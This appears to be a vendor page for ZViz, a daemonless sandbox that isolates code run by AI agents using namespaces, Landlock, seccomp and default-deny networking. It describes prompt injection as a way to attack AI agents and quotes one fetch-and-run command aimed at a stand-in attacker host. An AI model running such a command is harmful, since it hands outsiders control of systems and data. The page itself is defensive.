AI agent code execution

The problem

An AI agent that can execute code is running code it did not write and cannot fully vet. The code is a function of the model’s output, which is in turn a function of a prompt that may be adversarial. One prompt injection can turn a helpful “run this snippet” into curl attacker.com | bash.

Treating that code as trusted — running it in a normal container, or worse, directly on the host — means the first successful injection is also the last line of defence.

How ZViz helps

ZViz assumes the code inside the container is the adversary. Each execution gets:

• A fresh user, pid, mount, ipc, and uts namespace — the code sees only its own world.
• All 41 Linux capabilities dropped — no CAP_SYS_ADMIN, no CAP_NET_RAW.
• A Landlock ruleset constraining filesystem access to what you allow.
• A default-deny network posture — egress requires an explicit allowance.
• A selective-denial seccomp filter — ptrace, mount, unshare, init_module, and the rest of the dangerous set return EPERM before the kernel sees them.

The exploit that works against a permissive container fails at the kernel boundary here. And because ZViz has no daemon, you can give each tool call its own container and discard it afterward.

When to reach for something else

If your agent legitimately needs ptrace, mount, or nested containers inside the sandbox, use gVisor instead — it emulates those safely. If you need a hardware-virtualized boundary, consider a MicroVM. For most agent code-execution paths, ZViz is the smaller, faster fit.